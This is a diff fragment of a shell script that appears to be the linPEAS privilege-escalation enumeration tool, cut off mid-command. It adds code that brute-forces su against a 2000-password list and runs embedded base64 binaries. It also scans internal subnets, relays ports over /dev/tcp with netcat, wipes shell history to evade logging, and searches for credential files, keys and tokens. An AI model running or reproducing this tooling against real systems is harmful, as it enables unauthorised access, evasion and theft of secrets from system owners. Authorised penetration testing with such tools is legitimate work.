+ su_try_pwd "$BFUSER" "$BFUSER" & # Try username as password
+ su_try_pwd "$BFUSER" "$(echo $BFUSER | rev 2>/dev/null)" & # Try reverse username as password
+ if [ "$PASSWORD" ]; then
+ su_try_pwd "$BFUSER" "$PASSWORD" & # Try given password
+ fi
+ for i in $(seq "$TRIES"); do
+ su_try_pwd "$BFUSER" "$(echo $top2000pwds | cut -d ' ' -f $i)" & # Try TOP TRIES of passwords (by default 2000)
+ sleep 0.007 # To not overload the system
+ done
+ wait
+}
+
+check_if_su_brute(){
+ EXISTS_SU="$(command -v su 2>/dev/null)"
+ error=$(echo "" | timeout 1 su $(whoami) -c whoami 2>&1);
+ if [ "$EXISTS_SU" ] && ! echo $error | grep -q "must be run from a terminal"; then
+ echo "1"
+ fi
+}
+
+eval_bckgrd(){
+ eval "$1" &
+ CONT_THREADS=$(($CONT_THREADS+1)); if [ "$(($CONT_THREADS%$THREADS))" -eq "0" ]; then wait; fi
+}
+
+macosNotSigned(){
+ for filename in $1/*; do
+ if codesign -vv -d \"$filename\" 2>&1 | grep -q 'not signed'; then
+ echo "$filename isn't signed" | sed -${E} "s,.*,${SED_RED},"
+ fi
+ done
+}
+
+execBin(){
+ TOOL_NAME=$1
+ TOOL_LINK=$2
+ B64_BIN=$3
+ PARAMS=$4
+ if [ "$B64_BIN" ]; then
+ echo ""
+ print_3title "Running $TOOL_NAME"
+ print_info "$TOOL_LINK"
+ echo "$B64_BIN" | base64 -d > $Wfolder/bin
+ chmod +x $Wfolder/bin
+ eval "$Wfolder/bin $PARAMS"
+ rm -f $Wfolder/bin
+ echo ""
+ fi
+}
+
+###########################################
+#---------) Internet functions (----------#
+###########################################
+check_tcp_80(){
+ (timeout -s KILL 20 /bin/bash -c '( echo >/dev/tcp/1.1.1.1/80 && echo "Port 80 is accessible" || echo "Port 80 is not accessible") 2>/dev/null | grep "accessible"') 2>/dev/null || echo "Port 80 is not accessible"
+}
+check_tcp_443(){
+ (timeout -s KILL 20 /bin/bash -c '(echo >/dev/tcp/1.1.1.1/443 && echo "Port 443 is accessible" || echo "Port 443 is not accessible") 2>/dev/null | grep "accessible"') 2>/dev/null || echo "Port 443 is not accessible"
+}
+check_icmp(){
+ (timeout -s KILL 20 /bin/bash -c '(ping -c 1 1.1.1.1 | grep "1 received" && echo "Ping is available" || echo "Ping is not available") 2>/dev/null | grep "available"') 2>/dev/null || echo "Ping is not available"
+}
+# DNS function from: https://unix.stackexchange.com/questions/600194/create-dns-query-with-netcat-or-dev-udp
+# I cannot use this function because timeout doesn't find it, so it's copy/pasted below
+check_dns(){
+ (timeout 20 /bin/bash -c '(( echo cfc9 0100 0001 0000 0000 0000 0a64 7563 6b64 7563 6b67 6f03 636f 6d00 0001 0001 | xxd -p -r >&3; dd bs=9000 count=1 <&3 2>/dev/null | xxd ) 3>/dev/udp/1.1.1.1/53 && echo "DNS available" || echo "DNS not available") 2>/dev/null | grep "available"' ) 2>/dev/null || echo "DNS not available"
+}
+
+###########################################
+#----------) Network functions (----------#
+###########################################
+
+basic_net_info(){
+ print_title "Basic Network Info"
+ (ifconfig || ip a) 2>/dev/null
+ echo ""
+}
+
+select_nc (){
+ # Select the correct configuration of the netcat found
+ NC_SCAN="$FOUND_NC -v -n -z -w 1"
+ $($NC_SCAN 127.0.0.1 65321 > /dev/null 2>&1)
+ if [ $? -eq 2 ]
+ then
+ NC_SCAN="timeout 1 $FOUND_NC -v -n"
+ fi
+}
+
+icmp_recon (){
+ # Discover hosts inside a /24 subnetwork using ping (start pingging broadcast addresses)
+ IP3=$(echo $1 | cut -d "." -f 1,2,3)
+
+ (timeout 1 ping -b -c 1 "$IP3.255" 2>/dev/null | grep "icmp_seq" | sed -${E} "s,[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+,${SED_RED},") &
+ (timeout 1 ping -b -c 1 "255.255.255.255" 2>/dev/null | grep "icmp_seq" | sed -${E} "s,[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+,${SED_RED},") &
+ for j in $(seq 0 254)
+ do
+ (timeout 1 ping -b -c 1 "$IP3.$j" 2>/dev/null | grep "icmp_seq" | sed -${E} "s,[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+,${SED_RED},") &
+ done
+ wait
+}
+
+tcp_recon (){
+ # Discover hosts inside a /24 subnetwork using tcp connection to most used ports and selected ones
+ IP3=$(echo $1 | cut -d "." -f 1,2,3)
+ PORTS=$2
+ printf ${YELLOW}"[+]${BLUE} Ports going to be scanned: $PORTS" $NC | tr '\n' " "
+ printf "$NC\n"
+
+ for port in $PORTS; do
+ for j in $(seq 1 254)
+ do
+ if [ "$FOUND_BASH" ] && [ "$TIMEOUT" ]; then
+ $TIMEOUT 2.5 $FOUND_BASH -c "(echo </dev/tcp/$IP3.$j/$port) 2>/dev/null && echo -e \"\n[+] Open port at: $IP3.$j:$port\"" &
+ elif [ "$NC_SCAN" ]; then
+ ($NC_SCAN "$IP3"."$j" "$port" 2>&1 | grep -iv "Connection refused\|No route\|Version\|bytes\| out" | sed -${E} "s,[0-9\.],${SED_RED},g") &
+ fi
+ done
+ wait
+ done
+}
+
+tcp_port_scan (){
+ # Scan open ports of a host. Default: nmap top 1000, but the user can select others
+ basic_net_info
+
+ print_title "Network Port Scanning"
+ IP=$1
+ PORTS="$2"
+
+ if [ -z "$PORTS" ]; then
+ printf ${YELLOW}"[+]${BLUE} Ports going to be scanned: DEFAULT (nmap top 1000)" $NC | tr '\n' " "
+ printf "$NC\n"
+ PORTS="1 3 4 6 7 9 13 17 19 20 21 22 23 24 25 26 30 32 33 37 42 43 49 53 70 79 80 81 82 83 84 85 88 89 90 99 100 106 109 110 111 113 119 125 135 139 143 144 146 161 163 179 199 211 212 222 254 255 256 259 264 280 301 306 311 340 366 389 406 407 416 417 425 427 443 444 445 458 464 465 481 497 500 512 513 514 515 524 541 543 544 545 548 554 555 563 587 593 616 617 625 631 636 646 648 666 667 668 683 687 691 700 705 711 714 720 722 726 749 765 777 783 787 800 801 808 843 873 880 888 898 900 901 902 903 911 912 981 987 990 992 993 995 999 1000 1001 1002 1007 1009 1010 1011 1021 1022 1023 1024 1025 1026 1027 1028 1029 1030 1031 1032 1033 1034 1035 1036 1037 1038 1039 1040 1041 1042 1043 1044 1045 1046 1047 1048 1049 1050 1051 1052 1053 1054 1055 1056 1057 1058 1059 1060 1061 1062 1063 1064 1065 1066 1067 1068 1069 1070 1071 1072 1073 1074 1075 1076 1077 1078 1079 1080 1081 1082 1083 1084 1085 1086 1087 1088 1089 1090 1091 1092 1093 1094 1095 1096 1097 1098 1099 1100 1102 1104 1105 1106 1107 1108 1110 1111 1112 1113 1114 1117 1119 1121 1122 1123 1124 1126 1130 1131 1132 1137 1138 1141 1145 1147 1148 1149 1151 1152 1154 1163 1164 1165 1166 1169 1174 1175 1183 1185 1186 1187 1192 1198 1199 1201 1213 1216 1217 1218 1233 1234 1236 1244 1247 1248 1259 1271 1272 1277 1287 1296 1300 1301 1309 1310 1311 1322 1328 1334 1352 1417 1433 1434 1443 1455 1461 1494 1500 1501 1503 1521 1524 1533 1556 1580 1583 1594 1600 1641 1658 1666 1687 1688 1700 1717 1718 1719 1720 1721 1723 1755 1761 1782 1783 1801 1805 1812 1839 1840 1862 1863 1864 1875 1900 1914 1935 1947 1971 1972 1974 1984 1998 1999 2000 2001 2002 2003 2004 2005 2006 2007 2008 2009 2010 2013 2020 2021 2022 2030 2033 2034 2035 2038 2040 2041 2042 2043 2045 2046 2047 2048 2049 2065 2068 2099 2100 2103 2105 2106 2107 2111 2119 2121 2126 2135 2144 2160 2161 2170 2179 2190 2191 2196 2200 2222 2251 2260 2288 2301 2323 2366 2381 2382 2383 2393 2394 2399 2401 2492 2500 2522 2525 2557 2601 2602 2604 2605 2607 2608 2638 2701 2702 2710 2717 2718 2725 2800 2809 2811 2869 2875 2909 2910 2920 2967 2968 2998 3000 3001 3003 3005 3006 3007 3011 3013 3017 3030 3031 3052 3071 3077 3128 3168 3211 3221 3260 3261 3268 3269 3283 3300 3301 3306 3322 3323 3324 3325 3333 3351 3367 3369 3370 3371 3372 3389 3390 3404 3476 3493 3517 3527 3546 3551 3580 3659 3689 3690 3703 3737 3766 3784 3800 3801 3809 3814 3826 3827 3828 3851 3869 3871 3878 3880 3889 3905 3914 3918 3920 3945 3971 3986 3995 3998 4000 4001 4002 4003 4004 4005 4006 4045 4111 4125 4126 4129 4224 4242 4279 4321 4343 4443 4444 4445 4446 4449 4550 4567 4662 4848 4899 4900 4998 5000 5001 5002 5003 5004 5009 5030 5033 5050 5051 5054 5060 5061 5080 5087 5100 5101 5102 5120 5190 5200 5214 5221 5222 5225 5226 5269 5280 5298 5357 5405 5414 5431 5432 5440 5500 5510 5544 5550 5555 5560 5566 5631 5633 5666 5678 5679 5718 5730 5800 5801 5802 5810 5811 5815 5822 5825 5850 5859 5862 5877 5900 5901 5902 5903 5904 5906 5907 5910 5911 5915 5922 5925 5950 5952 5959 5960 5961 5962 5963 5987 5988 5989 5998 5999 6000 6001 6002 6003 6004 6005 6006 6007 6009 6025 6059 6100 6101 6106 6112 6123 6129 6156 6346 6389 6502 6510 6543 6547 6565 6566 6567 6580 6646 6666 6667 6668 6669 6689 6692 6699 6779 6788 6789 6792 6839 6881 6901 6969 7000 7001 7002 7004 7007 7019 7025 7070 7100 7103 7106 7200 7201 7402 7435 7443 7496 7512 7625 7627 7676 7741 7777 7778 7800 7911 7920 7921 7937 7938 7999 8000 8001 8002 8007 8008 8009 8010 8011 8021 8022 8031 8042 8045 8080 8081 8082 8083 8084 8085 8086 8087 8088 8089 8090 8093 8099 8100 8180 8181 8192 8193 8194 8200 8222 8254 8290 8291 8292 8300 8333 8383 8400 8402 8443 8500 8600 8649 8651 8652 8654 8701 8800 8873 8888 8899 8994 9000 9001 9002 9003 9009 9010 9011 9040 9050 9071 9080 9081 9090 9091 9099 9100 9101 9102 9103 9110 9111 9200 9207 9220 9290 9415 9418 9485 9500 9502 9503 9535 9575 9593 9594 9595 9618 9666 9876 9877 9878 9898 9900 9917 9929 9943 9944 9968 9998 9999 10000 10001 10002 10003 10004 10009 10010 10012 10024 10025 10082 10180 10215 10243 10566 10616 10617 10621 10626 10628 10629 10778 11110 11111 11967 12000 12174 12265 12345 13456 13722 13782 13783 14000 14238 14441 14442 15000 15002 15003 15004 15660 15742 16000 16001 16012 16016 16018 16080 16113 16992 16993 17877 17988 18040 18101 18988 19101 19283 19315 19350 19780 19801 19842 20000 20005 20031 20221 20222 20828 21571 22939 23502 24444 24800 25734 25735 26214 27000 27352 27353 27355 27356 27715 28201 30000 30718 30951 31038 31337 32768 32769 32770 32771 32772 32773 32774 32775 32776 32777 32778 32779 32780 32781 32782 32783 32784 32785 33354 33899 34571 34572 34573 35500 38292 40193 40911 41511 42510 44176 44442 44443 44501 45100 48080 49152 49153 49154 49155 49156 49157 49158 49159 49160 49161 49163 49165 49167 49175 49176 49400 49999 50000 50001 50002 50003 50006 50300 50389 50500 50636 50800 51103 51493 52673 52822 52848 52869 54045 54328 55055 55056 55555 55600 56737 56738 57294 57797 58080 60020 60443 61532 61900 62078 63331 64623 64680 65000 65129 65389"
+ else
+ PORTS="$(echo $PORTS | tr ',' ' ')"
+ printf ${YELLOW}"[+]${BLUE} Ports going to be scanned: $PORTS" $NC | tr '\n' " "
+ printf "$NC\n"
+ fi
+
+ for port in $PORTS; do
+ if [ "$FOUND_BASH" ]; then
+ $FOUND_BASH -c "(echo </dev/tcp/$IP/$port) 2>/dev/null && echo -n \"[+] Open port at: $IP:$port\"" &
+ elif [ "$NC_SCAN" ]; then
+ ($NC_SCAN "$IP" "$port" 2>&1 | grep -iv "Connection refused\|No route\|Version\|bytes\| out" | sed -${E} "s,[0-9\.],${SED_RED},g") &
+ fi
+ done
+ wait
+}
+
+discover_network (){
+ # Check if IP and Netmask are correct and the use fping or ping to find hosts
+ basic_net_info
+
+ print_title "Network Discovery"
+
+ DISCOVERY=$1
+ IP=$(echo "$DISCOVERY" | cut -d "/" -f 1)
+ NETMASK=$(echo "$DISCOVERY" | cut -d "/" -f 2)
+
+ if [ -z "$IP" ] || [ -z "$NETMASK" ]; then
+ printf $RED"[-] Err: Bad format. Example: 127.0.0.1/24"$NC;
+ printf ${BLUE}"$HELP"$NC;
+ exit 0
+ fi
+
+ # Using fping if possible
+ if [ "$FPING" ]; then
+ $FPING -a -q -g "$DISCOVERY" | sed -${E} "s,.*,${SED_RED},"
+
+ # Loop using ping
+ else
+ if [ "$NETMASK" -eq "24" ]; then
+ printf ${YELLOW}"[+]$GREEN Netmask /24 detected, starting...\n$NC"
+ icmp_recon $IP
+
+ elif [ "$NETMASK" -eq "16" ]; then
+ printf ${YELLOW}"[+]$GREEN Netmask /16 detected, starting...\n$NC"
+ for i in $(seq 1 254)
+ do
+ NEWIP=$(echo "$IP" | cut -d "." -f 1,2).$i.1
+ icmp_recon "$NEWIP"
+ done
+ else
+ printf $RED"[-] Err: Sorry, only Netmask /24 and /16 supported in ping mode. Netmask detected: $NETMASK"$NC;
+ exit 0
+ fi
+ fi
+}
+
+discovery_port_scan (){
+ basic_net_info
+
+ # Check if IP and Netmask are correct and the use nc to find hosts. By default check ports: 22 80 443 445 3389
+ print_title "Internal Network Discovery - Finding hosts and scanning ports"
+ DISCOVERY=$1
+ MYPORTS=$2
+
+ IP=$(echo "$DISCOVERY" | cut -d "/" -f 1)
+ NETMASK=$(echo "$DISCOVERY" | cut -d "/" -f 2)
+ echo "Scanning: $DISCOVERY"
+
+ if [ -z "$IP" ] || [ -z "$NETMASK" ] || [ "$IP" = "$NETMASK" ]; then
+ printf $RED"[-] Err: Bad format. Example: 127.0.0.1/24\n"$NC;
+ if [ "$IP" = "$NETMASK" ]; then
+ printf $RED"[*] This options is used to find active hosts by scanning ports. If you want to perform a port scan of a host use the options: ${YELLOW}-i <IP> [-p <PORT(s)>]\n\n"$NC;
+ fi
+ printf ${BLUE}"$HELP"$NC;
+ exit 0
+ fi
+
+ PORTS="22 80 443 445 3389 $(echo $MYPORTS | tr ',' ' ')"
+ PORTS=$(echo "$PORTS" | tr " " "\n" | sort -u) # Delete repetitions
+
+ if [ "$NETMASK" -eq "24" ]; then
+ printf ${YELLOW}"[+]$GREEN Netmask /24 detected, starting...\n" $NC
+ tcp_recon "$IP" "$PORTS"
+
+ elif [ "$NETMASK" -eq "16" ]; then
+ printf ${YELLOW}"[+]$GREEN Netmask /16 detected, starting...\n" $NC
+ for i in $(seq 0 255)
+ do
+ NEWIP=$(echo "$IP" | cut -d "." -f 1,2).$i.1
+ tcp_recon "$NEWIP" "$PORTS"
+ done
+ else
+ printf $RED"[-] Err: Sorry, only netmask /24 and /16 are supported in port discovery mode. Netmask detected: $NETMASK\n"$NC;
+ exit 0
+ fi
+}
+
+
+port_forward (){
+ LOCAL_IP=$1
+ LOCAL_PORT=$2
+ REMOTE_IP=$3
+ REMOTE_PORT=$4
+
+ echo "In your machine execute:"
+ echo "cd /tmp; rm backpipe; mknod backpipe p;"
+ echo "nc -lvnp $LOCAL_PORT 0<backpipe | nc -lvnp 9009 1>backpipe"
+ echo ""
+ read -p "Press any key when you have executed those commands" useless_var
+
+ bash -c "exec 3<>/dev/tcp/$REMOTE_IP/$REMOTE_PORT; exec 4<>/dev/tcp/$LOCAL_IP/9009; cat <&3 >&4 & cat <&4 >&3 &"
+ echo "If not error was indicated, your host port $LOCAL_PORT should be forwarded to $REMOTE_IP:$REMOTE_PORT"
+}
+
+
+###########################################
+#---) Exporting history env variables (---#
+###########################################
+
+unset HISTORY HISTFILE HISTSAVE HISTZONE HISTORY HISTLOG WATCH
+export HISTFILE=/dev/null
+export HISTSIZE=0
+export HISTFILESIZE=0
+
+
+
+###########################################
+#-----------) Some Basic Info (-----------#
+###########################################
+
+print_title "Basic information"
+printf $LG"OS: "$NC
+(cat /proc/version || uname -a ) 2>/dev/null | sed -${E} "s,$kernelDCW_Ubuntu_Precise_1,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Ubuntu_Precise_2,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Ubuntu_Precise_3,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Ubuntu_Precise_4,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Ubuntu_Precise_5,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Ubuntu_Precise_6,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Ubuntu_Trusty_1,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Ubuntu_Trusty_2,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Ubuntu_Trusty_3,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Ubuntu_Trusty_4,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Ubuntu_Xenial,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Rhel5_1,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Rhel5_2,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Rhel5_3,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Rhel6_1,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Rhel6_2,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Rhel6_3,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Rhel6_4,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Rhel7,${SED_RED_YELLOW}," | sed -${E} "s,$kernelB,${SED_RED},"
+printf $LG"User & Groups: "$NC
+(id || (whoami && groups)) 2>/dev/null | sed -${E} "s,$groupsB,${SED_RED},g" | sed -${E} "s,$groupsVB,${SED_RED_YELLOW},g" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN},g" | sed -${E} "s,$nosh_usrs,${SED_BLUE},g" | sed -${E} "s,$knw_usrs,${SED_GREEN},g" | sed -${E} "s,$knw_grps,${SED_GREEN},g" | sed "s,$USER,${SED_LIGHT_MAGENTA},g" | sed -${E} "s,$idB,${SED_RED},g"
+printf $LG"Hostname: "$NC
+hostname 2>/dev/null
+printf $LG"Writable folder: "$NC;
+echo $Wfolder
+
+if ! [ "$FAST" ] && ! [ "$AUTO_NETWORK_SCAN" ]; then
+ printf $LG"Remember that you can use the '-t' option to call the Internet connectivity checks and automatic network recon!\n"$NC;
+fi
+
+if [ "$DISCOVER_BAN_GOOD" ]; then
+ printf $YELLOW"[+] $DISCOVER_BAN_GOOD\n$NC"
+else
+ printf $RED"[-] $DISCOVER_BAN_BAD\n$NC"
+fi
+
+if [ "$SCAN_BAN_GOOD" ]; then
+ printf "$SCAN_BAN_GOOD\n$NC"
+else
+ printf $RED"[-] $SCAN_BAN_BAD\n$NC"
+fi
+if [ "$(command -v nmap 2>/dev/null)" ];then
+ NMAP_GOOD=$GREEN"nmap${BLUE} is available for network discovery & port scanning, you should use it yourself"
+ printf $YELLOW"[+] $NMAP_GOOD\n$NC"
+fi
+echo ""
+echo ""
+
+###########################################
+#--------) Check if network jobs (--------#
+###########################################
+if [ "$PORTS" ]; then
+ if [ "$SCAN_BAN_GOOD" ]; then
+ if [ "$(echo -n $PORTS | sed 's,[0-9, ],,g')" ]; then
+ printf $RED"[-] Err: Symbols detected in the port, for discovering purposes select only 1 port\n"$NC;
+ printf ${BLUE}"$HELP"$NC;
+ exit 0
+ else
+ # Select the correct configuration of the netcat found
+ select_nc
+ fi
+ else
+ printf $RED" Err: Port scan not possible, any netcat in PATH\n"$NC;
+ printf ${BLUE}"$HELP"$NC;
+ exit 0
+ fi
+fi
+
+if [ "$DISCOVERY" ]; then
+ if [ "$PORTS" ]; then
+ discovery_port_scan $DISCOVERY $PORTS
+ else
+ if [ "$DISCOVER_BAN_GOOD" ]; then
+ discover_network $DISCOVERY
+ else
+ printf $RED" Err: Discovery not possible, no fping or ping in PATH\n"$NC;
+ fi
+ fi
+ exit 0
+
+elif [ "$IP" ]; then
+ select_nc
+ tcp_port_scan $IP "$PORTS"
+ exit 0
+fi
+
+if [ "$PORT_FORWARD" ]; then
+ if ! [ "$FOUND_BASH" ]; then
+ printf $RED"[-] Err: Port forwarding not possible, no bash in PATH\n"$NC;
+ exit 0
+ fi
+
+ LOCAL_IP="$(echo -n $PORT_FORWARD | cut -d ':' -f 1)"
+ LOCAL_PORT="$(echo -n $PORT_FORWARD | cut -d ':' -f 2)"
+ REMOTE_IP="$(echo -n $PORT_FORWARD | cut -d ':' -f 3)"
+ REMOTE_PORT="$(echo -n $PORT_FORWARD | cut -d ':' -f 4)"
+
+ if ! [ "$LOCAL_IP" ] || ! [ "$LOCAL_PORT" ] || ! [ "$REMOTE_IP" ] || ! [ "$REMOTE_PORT" ]; then
+ printf $RED"[-] Err: Invalid port forwarding configuration: $PORT_FORWARD. The format is: LOCAL_IP:LOCAL_PORT:REMOTE_IP:REMOTE_PORT\nFor example: 10.10.14.8:7777:127.0.0.1:8000"$NC;
+ exit 0
+ fi
+
+ # Check if LOCAL_PORT is a number
+ if ! [ "$(echo $LOCAL_PORT | grep -E '^[0-9]+$')" ]; then
+ printf $RED"[-] Err: Invalid port forwarding configuration: $PORT_FORWARD. The format is: LOCAL_IP:LOCAL_PORT:REMOTE_IP:REMOTE_PORT\nFor example: 10.10.14.8:7777:127.0.0.1:8000"$NC;
+ fi
+
+ # Check if REMOTE_PORT is a number
+ if ! [ "$(echo $REMOTE_PORT | grep -E '^[0-9]+$')" ]; then
+ printf $RED"[-] Err: Invalid port forwarding configuration: $PORT_FORWARD. The format is: LOCAL_IP:LOCAL_PORT:REMOTE_IP:REMOTE_PORT\nFor example: 10.10.14.8:7777:127.0.0.1:8000"$NC;
+ fi
+
+ port_forward "$LOCAL_IP" "$LOCAL_PORT" "$REMOTE_IP" "$REMOTE_PORT"
+ exit 0
+fi
+
+
+# Get HOMESEARCH
+if [ "$SEARCH_IN_FOLDER" ]; then
+ HOMESEARCH="${ROOT_FOLDER}home/ ${ROOT_FOLDER}Users/ ${ROOT_FOLDER}root/ ${ROOT_FOLDER}var/www/"
+else
+ HOMESEARCH="/home/ /Users/ /root/ /var/www $(cat /etc/passwd 2>/dev/null | grep "sh$" | cut -d ":" -f 6 | grep -Ev "^/root|^/home|^/Users|^/var/www" | tr "\n" " ")"
+ if ! echo "$HOMESEARCH" | grep -q "$HOME" && ! echo "$HOMESEARCH" | grep -qE "^/root|^/home|^/Users|^/var/www"; then #If not listed and not in /home, /Users/, /root, or /var/www add current home folder
+ HOMESEARCH="$HOME $HOMESEARCH"
+ fi
+fi
+GREPHOMESEARCH=$(echo "$HOMESEARCH" | sed 's/ *$//g' | tr " " "|") #Remove ending spaces before putting "|"
+
+
+
+
+###########################################
+#----------) Caching Finds (--------------#
+###########################################
+if [ "$SEARCH_IN_FOLDER" ]; then
+ printf $GREEN"Caching directories "$NC
+
+ CONT_THREADS=0
+ # FIND ALL KNOWN INTERESTING SOFTWARE FILES
+ FIND_DIR_CUSTOM=`eval_bckgrd "find $SEARCH_IN_FOLDER -type d -name \"concourse-keys\" -o -name \"*jenkins\" -o -name \"cacti\" -o -name \"zabbix\" -o -name \"ldap\" -o -name \"sites-enabled\" -o -name \"sentry\" -o -name \".kube*\" -o -name \"gcloud\" -o -name \"system-connections\" -o -name \".svn\" -o -name \"couchdb\" -o -name \"nginx\" -o -name \"postfix\" -o -name \"bind\" -o -name \"system.d\" -o -name \"dirsrv\" -o -name \"doctl\" -o -name \"environments\" -o -name \"kubelet\" -o -name \".bluemix\" -o -name \".docker\" -o -name \"roundcube\" -o -name \"seeddms*\" -o -name \"pam.d\" -o -name \"legacy_credentials\" -o -name \"ipa\" -o -name \"filezilla\" -o -name \"keyrings\" -o -name \".cloudflared\" -o -name \"mysql\" -o -name \".vnc\" -o -name \"concourse-auth\" -o -name \".password-store\" -o -name \"neo4j\" -o -name \"kube-proxy\" -o -name \".irssi\" -o -name \"logstash\" -o -name \"varnish\" -o -name \"ErrorRecords\" -o -name \"kubernetes\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"`
+ FIND_CUSTOM=`eval_bckgrd "find $SEARCH_IN_FOLDER -name \"*.psk\" -o -name \"vault-ssh-helper.hcl\" -o -name \"*.keytab\" -o -name \"ddclient.conf\" -o -name \"autologin.conf\" -o -name \"docker.socket\" -o -name \"unattended.xml\" -o -name \"*knockd*\" -o -name \".bashrc\" -o -name \"filezilla.xml\" -o -name \".Xauthority\" -o -name \"*.viminfo\" -o -name \"snmpd.conf\" -o -name \"sites.ini\" -o -name \"autologin\" -o -name \"*.vhdx\" -o -name \"system.sav\" -o -name \"kcpassword\" -o -name \"rsyncd.secrets\" -o -name \"KeePass.config*\" -o -name \"ConsoleHost_history.txt\" -o -name \"php.ini\" -o -name \"unattend.inf\" -o -name \"server.xml\" -o -name \"AzureRMContext.json\" -o -name \"SAM\" -o -name \"*.service\" -o -name \"ntuser.dat\" -o -name \"bitcoin.conf\" -o -name \"dockershim.sock\" -o -name \"authorized_keys\" -o -name \"*.rdg\" -o -name \"supervisord.conf\" -o -name \"ftp.config\" -o -name \"sysprep.inf\" -o -name \"*.db\" -o -name \"*.sqlite3\" -o -name \"iis6.log\" -o -name \".secrets.mkey\" -o -name \"*.kdbx\" -o -name \"SecEvent.Evt\" -o -name \".gitconfig\" -o -name \"ftp.ini\" -o -name \".pypirc\" -o -name \"ipsec.secrets\" -o -name \"index.dat\" -o -name \".flyrc\" -o -name \"*.pgp\" -o -name \"backups\" -o -name \"*.jks\" -o -name \"hudson.util.Secret\" -o -name \"adc.json\" -o -name \"webserver_config.py\" -o -name \"mariadb.cnf\" -o -name \"psk.txt\" -o -name \"*.key\" -o -name \"*password*\" -o -name \"rktlet.sock\" -o -name \"software\" -o -name \".git-credentials\" -o -name \"zabbix_server.conf\" -o -name \"KeePass.ini\" -o -name \"wcx_ftp.ini\" -o -name \"error.log\" -o -name \"snyk.config.json\" -o -name \"access_tokens.db\" -o -name \"api_key\" -o -name \"*_history*\" -o -name \"software.sav\" -o -name \"passwd.ibd\" -o -name \"gitlab.yml\" -o -name \"elasticsearch.y*ml\" -o -name \"000-default.conf\" -o -name \"sentry.conf.py\" -o -name \"ssh*config\" -o -name \"password*.ibd\" -o -name \"rpcd\" -o -name \"*.tf\" -o -name \"atlantis.db\" -o -name \"fat.config\" -o -name \"ws_ftp.ini\" -o -name \".wgetrc\" -o -name \"racoon.conf\" -o -name \"airflow.cfg\" -o -name \"id_dsa*\" -o -name \"frakti.sock\" -o -name \"pwd.ibd\" -o -name \"db.php\" -o -name \"config.php\" -o -name \"AppEvent.Evt\" -o -name \"redis.conf\" -o -name \".erlang.cookie\" -o -name \"debian.cnf\" -o -name \"pgadmin*.db\" -o -name \"nginx.conf\" -o -name \"rocketchat.service\" -o -name \"log4j-core*.jar\" -o -name \"autounattend.xml\" -o -name \"master.key\" -o -name \"protecteduserkey.bin\" -o -name \"*.sqlite\" -o -name \"my.cnf\" -o -name \"pgadmin4.db\" -o -name \"credentials.db\" -o -name \"fastcgi_params\" -o -name \"*.ovpn\" -o -name \"postgresql.conf\" -o -name \"bash.exe\" -o -name \"https-xampp.conf\" -o -name \"setupinfo.bak\" -o -name \"creds*\" -o -name \"mosquitto.conf\" -o -name \"*.crt\" -o -name \"*vnc*.xml\" -o -name \"my.ini\" -o -name \"database.php\" -o -name \"containerd.sock\" -o -name \".github\" -o -name \"storage.php\" -o -name \"glusterfs.pem\" -o -name \"*.vmdk\" -o -name \"plum.sqlite\" -o -name \"influxdb.conf\" -o -name \"krb5.conf\" -o -name \"zabbix_agentd.conf\" -o -name \"*.timer\" -o -name \"groups.xml\" -o -name \"pagefile.sys\" -o -name \"*.swp\" -o -name \"crio.sock\" -o -name \"Elastix.conf\" -o -name \"*.gpg\" -o -name \"*.pfx\" -o -name \"accessTokens.json\" -o -name \"access_tokens.json\" -o -name \"jetty-realm.properties\" -o -name \".k5login\" -o -name \"gvm-tools.conf\" -o -name \"appcmd.exe\" -o -name \"wsl.exe\" -o -name \"scclient.exe\" -o -name \".msmtprc\" -o -name \"known_hosts\" -o -name \"ffftp.ini\" -o -name \"FreeSSHDservice.ini\" -o -name \"sitemanager.xml\" -o -name \".htpasswd\" -o -name \"legacy_credentials.db\" -o -name \".sudo_as_admin_successful\" -o -name \"setupinfo\" -o -name \"*.gnupg\" -o -name \"kadm5.acl\" -o -name \"KeePass.enforced*\" -o -name \".env*\" -o -name \"smb.conf\" -o -name \"Dockerfile\" -o -name \"agent*\" -o -name \"authorized_hosts\" -o -name \".plan\" -o -name \"settings.php\" -o -name \"vsftpd.conf\" -o -name \"winscp.ini\" -o -name \"unattend.txt\" -o -name \"web*.config\" -o -name \"secrets.ldb\" -o -name \"rsyncd.conf\" -o -name \"glusterfs.key\" -o -name \"mongod*.conf\" -o -name \"*.tfstate\" -o -name \"*.socket\" -o -name \"FreePBX.conf\" -o -name \"*.keyring\" -o -name \"credentials.xml\" -o -name \".roadtools_auth\" -o -name \"exports\" -o -name \"SYSTEM\" -o -name \"backup\" -o -name \".vault-token\" -o -name \"secrets.yml\" -o -name \"docker.sock\" -o -name \"passbolt.php\" -o -name \".ldaprc\" -o -name \"cesi.conf\" -o -name \"amportal.conf\" -o -name \"pg_hba.conf\" -o -name \"tomcat-users.xml\" -o -name \"mysqld.cnf\" -o -name \"*vnc*.c*nf*\" -o -name \"TokenCache.dat\" -o -name \"*config*.php\" -o -name \"sip.conf\" -o -name \"*.csr\" -o -name \"*.p12\" -o -name \"*.keystore\" -o -name \".git\" -o -name \".google_authenticator\" -o -name \"pgsql.conf\" -o -name \"scheduledtasks.xml\" -o -name \"*.ftpconfig\" -o -name 